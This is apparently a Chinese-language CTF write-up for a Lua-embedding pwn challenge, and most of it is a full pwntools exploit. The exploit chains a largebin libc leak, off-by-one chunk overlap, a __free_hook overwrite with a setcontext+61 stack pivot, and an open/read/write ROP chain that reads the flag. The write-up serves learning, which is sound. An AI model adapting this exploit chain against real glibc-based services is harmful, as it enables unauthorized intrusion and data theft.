在此之前需要将heap地址赋值给rdx，然后才能将栈迁移到堆上，我们知道free的时候第一个参数rdi是当前chunk的地址，那么只要将rdi的值赋值给rdx之后再返回到setcontext+61就行了，怎么找gadget能实现如上功能呢？我们在libc的function getkeyserv_handle里能找到如下gadget：
.text:0000000000154930 mov rdx, [rdi+8]
.text:0000000000154934 mov [rsp+0C8h+var_C8], rax
.text:0000000000154938 call qword ptr [rdx+20h]
所以在当前chunk+8的地方放当前heap地址可以实现给rdx赋值，然后在rdx+0x20处放setcontext地址就会返回到setcontext，在rdx+0xa0处放置orw Rop的开始地址，并将rsp指针刷新到指定heap上，执行到ret的时候将rcx移出栈顶，紧接着ret后返回orw的rop开始处，此时rsp和堆栈同时指向orw ROP开始处，开始在heap上构造orw读取flag。
构造赋值想让的步骤如下：
- 通过largebinattack泄露libc，获得freehook、setcontext、rop链地址
- 在制造chunk overlap之前应该将0x30大小的堆填满，释放，之后在新申请的chunk之间就不会有0x30大小的chunk相隔，才能制造overlap。原因猜测是为之后的申请腾空间，所以后面申请的就不会隔开了，具体原因待查
- 泄露heap地址，制造chunk overlap
- 写入freehook地址，修改freehook为gadget（set rdx && call setcontext）
- 申请一个chunk，构造rop修改rdx，返回setcontext，刷新堆栈，之后orw
- free触发rop链，orw读取flag
exp
from pwn import *
from gmssl import func
context.log_level = 'debug'
context.terminal = ["/usr/bin/tmux","sp","-h"]
#io = remote('127.0.0.1', 6010)
# libc = ELF('./libc-2.31.so')
# io = process(['./test', 'real'])
io = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
ur64 = lambda data : u64(data.rjust(8, b'\x00'))
initkey = p64(0x6b8b4567327b23c6)
table = [
0xBE, 0xD1, 0x90, 0x88, 0x57, 0x00, 0xE9, 0x53, 0x10, 0xBD,
0x2A, 0x34, 0x51, 0x84, 0x07, 0xC4, 0x33, 0xC5, 0x3B, 0x53,
0x5F, 0xA8, 0x5D, 0x4B, 0x6D, 0x22, 0x63, 0x5D, 0x3C, 0xBD,
0x47, 0x6D, 0x22, 0x3F, 0x38, 0x4B, 0x7A, 0x4C, 0xB8, 0xCC,
0xB8, 0x37, 0x78, 0x17, 0x73, 0x23, 0x27, 0x71, 0xB1, 0xC7,
0xA6, 0xD1, 0xA0, 0x48, 0x21, 0xC4, 0x1B, 0x0A, 0xAD, 0xC9,
0xA5, 0xE6, 0x14, 0x18, 0xFC, 0x7B, 0x53, 0x59, 0x8B, 0x0D,
0x07, 0xCD, 0x07, 0xCC, 0xBC, 0xA5, 0xE0, 0x28, 0x0E, 0xF9,
0x31, 0xC8, 0xED, 0x78, 0xF4, 0x75, 0x60, 0x65, 0x52, 0xB4,
0xFB, 0xBF, 0xAC, 0x6E, 0xEA, 0x5D, 0xCA, 0x0D, 0xB5, 0x66,
0xAC, 0xBA, 0x06, 0x30, 0x95, 0xF4, 0x96, 0x42, 0x7A, 0x7F,
0x58, 0x6D, 0x83, 0x8E, 0xF6, 0x61, 0x7C, 0x0E, 0xFD, 0x09,
0x6E, 0x42, 0x6B, 0x1E, 0xB9, 0x14, 0x22, 0xF6, 0x16, 0xD2,
0xD2, 0x60, 0x29, 0x23, 0x32, 0x9E, 0xB4, 0x82, 0xEE, 0x58,
0x3A, 0x7D, 0x1F, 0x74, 0x98, 0x5D, 0x17, 0x64, 0xE4, 0x6F,
0xF5, 0xAD, 0x94, 0xAA, 0x89, 0xE3, 0xBE, 0x98, 0x91, 0x38,
0x70, 0xEC, 0x2F, 0x5E, 0x9F, 0xC9, 0xB1, 0x26, 0x3A, 0x64,
0x48, 0x13, 0xF1, 0x1A, 0xC5, 0xD5, 0xE5, 0x66, 0x11, 0x11,
0x3A, 0xAA, 0x79, 0x45, 0x42, 0xB4, 0x57, 0x9D, 0x3F, 0xBC,
0xA3, 0xAA, 0x98, 0x4E, 0x6B, 0x7A, 0x4A, 0x2F, 0x3E, 0x10,
0x7A, 0xC5, 0x33, 0x8D, 0xAC, 0x0B, 0x79, 0x33, 0x5D, 0x09,
0xFC, 0x9D, 0x9B, 0xE5, 0x18, 0xCD, 0x1C, 0x7C, 0x8B, 0x0A,
0xA8, 0x95, 0x56, 0xCC, 0x4E, 0x34, 0x31, 0x33, 0xF5, 0xC1,
0xF5, 0x03, 0x0A, 0x4A, 0xB4, 0xD1, 0x90, 0xF1, 0x8F, 0x57,
0x20, 0x05, 0x0D, 0xA0, 0xCD, 0x82, 0xB3, 0x25, 0xD8, 0xD2,
0x20, 0xF3, 0xC5, 0x96, 0x35, 0x35
]
def encode(key,passwd):
key = func.bytes_to_list(key)
passwd = func.bytes_to_list(passwd)
key_arr = []
raw_key = []
data_arr = []
for c in key:
key_arr.append(c)
raw_key.append(c)
for c in passwd:
data_arr.append(c)
key = key_arr
passwd = data_arr
for i in range(len(passwd)):
v5 = (key[(i + 2) & 7] * (key[(i & 7)] + key[(i + 1) & 7]) + key[(i + 3) & 7])&0xff
passwd[i] ^= v5 ^ table[v5]
key[(i & 7)] = (2 * v5 + 3)&0xff
if (i & 0xf) == 0:
key = sub_143A(raw_key,table[i&0xff])
out = b''
for i in passwd:
out += i.to_bytes(1, byteorder='little')
return out
def sub_143A(key,seed):
tmpkey = [0]*8
for i in range(8):
tmpkey[i] = (key[i] ^ table[key[i]])&0xff
tmpkey[i] ^= (seed + i)&0xff
return tmpkey
passwdd = p32(0x00000000)
password = encode(initkey,passwdd)
print(hex(int.from_bytes(password,byteorder='little',signed=False))) #0x18f7d121 418894113
def login():
print(111)
sla('$','login')
sla('account:','1000')
sla('password:','418894113')
def add(size,content):
sla('$','add')
sla('?',str(size))
sn(content)
def delete(idx):
sla('$','del')
sla('?',str(idx))
def get(idx):
sla('$','get')
sla('?',str(idx))
login()
# leak libc larginbin attack
add(0x500,'\n') #0
add(0x500,'\n') #1
delete(0)
add(0x500,'\n') #0
get(0)
ru('\n')
libc_base = uu64(rn(6)) - 0x1c6b0a - 0x25000
lg('libc_base')
free_hook = libc_base + libc.sym['__free_hook']
lg('free_hook')
setcontext = libc_base + libc.sym['setcontext'] + 61
lg('setcontext')
ret = libc_base + 0x25679
libc_open = libc_base + libc.sym['open']
libc_read = libc_base + libc.sym['read']
libc_write = libc_base + libc.sym['write']
pop_rdi = libc_base + 0x26b72
pop_rsi = libc_base + 0x27529
pop_rdx_r12 = libc_base + 0x000000000011c371 # pop rdx ; pop r12 ; ret
gadget = libc_base + 0x154930 # local getkeyserv_handle set rdx && call context
'''
.text:0000000000154930 mov rdx, [rdi+8]
.text:0000000000154934 mov [rsp+0C8h+var_C8], rax
.text:0000000000154938 call qword ptr [rdx+20h]
'''
# fill size=0x30 chunk
add(0x80, '\n') # 2
add(0x20, '\n') # 3
b = 3
j = 20
for i in range(b, j):
add(0x20, 'AAA\n')
for i in range(b + 10, j):
delete(i)
# make overlap chunk
add(0x98, encode(initkey, b'AAA') + b'\n') # 13
add(0x500, encode(initkey, b'AAA') + b'\n') # 14
dbg()
add(0xa0, 'AAA\n') # 15
add(0xa0, 'AAA\n') # 16
add(0xa0, 'AAA\n') # 17
delete(13)
delete(17)
delete(16)
delete(15)
# leak heap addr
add(0xa8, b'\n') # 13
get(13)
io.recvuntil('\n')
heap = u64(io.recv(6).ljust(8, b'\x00')) - 0xa + 0x50+0xb0*2 +0x10# local chunk17's heapaddr
#heap = u64(io.recv(6).ljust(8, b'\x00')) - 0xa + 0x200 # local
lg('heap')
delete(13)
p = b'\x00' + b'\x11' * 0x97
#dbg()
add(0x98, encode(initkey, p) + b'\xc1') # 13
# overlap
delete(14)
# 5c0
p = b'A' * 0x500
p += p64(0) + p64(0xb1)
p += p64(libc_base + libc.sym['__free_hook']) + p64(0)
add(0x5b0, encode(initkey, p) + b'\n') # 14
# remalloc freehook
add(0xa8, encode(initkey, b"/bin/sh\x00") + b'\n') # 13
add(0xa8, encode(initkey, p64(gadget)) + b'\n') # modify __free_hook as a gadget set rdi -> rdx
p = p64(1) + p64(heap) # set to rdx
p += p64(setcontext) *4 # call setcontext
p = p.ljust(0xa0, b'\x11')
p += p64(heap + 0xb0) # rsp
p += p64(ret) # rcx
rop = p64(pop_rdi) + p64(heap + 0xb0 + 0x98 + 0x18)
rop += p64(pop_rsi) + p64(0)
rop += p64(pop_rdx_r12) + p64(0) + p64(0)
rop += p64(libc_open)
rop += p64(pop_rdi) + p64(3)
rop += p64(pop_rsi) + p64(heap)
rop += p64(pop_rdx_r12) + p64(0x80) + p64(0)
rop += p64(libc_read)
rop += p64(pop_rdi) + p64(1)
rop += p64(libc_write)
rop += p64(pop_rdi) + p64(0)
rop += p64(libc_read)
p += rop
p += b'./flag\x00'
add(0x800, encode(initkey, p) + b'\n') # 17
print('get flag...')
# triggger free
delete(17)
#dbg()
irt()
总结
这次比赛算这道题目是压轴题，做出来的人数个位数，题目参杂了很多知识，包括lua语言、c和lua互调规则、沙箱禁用59号中断、ORW、花指令、简单异或流加密、offbyone、lua程序在互调过程中申请chunk的处理，想要做出来不容易，之后复盘也是复盘了好久才看明白，之前不知道freehook修改成setcontext的利用方式，这次明白了，利用setcontext+61，刷新栈到指定堆上，然后构造orw。
进一步增加难度，修改lua虚拟机opcode，使得通用反编译失败，需要逆向opcode顺序，重新编译反编译工具，这就更变态了。
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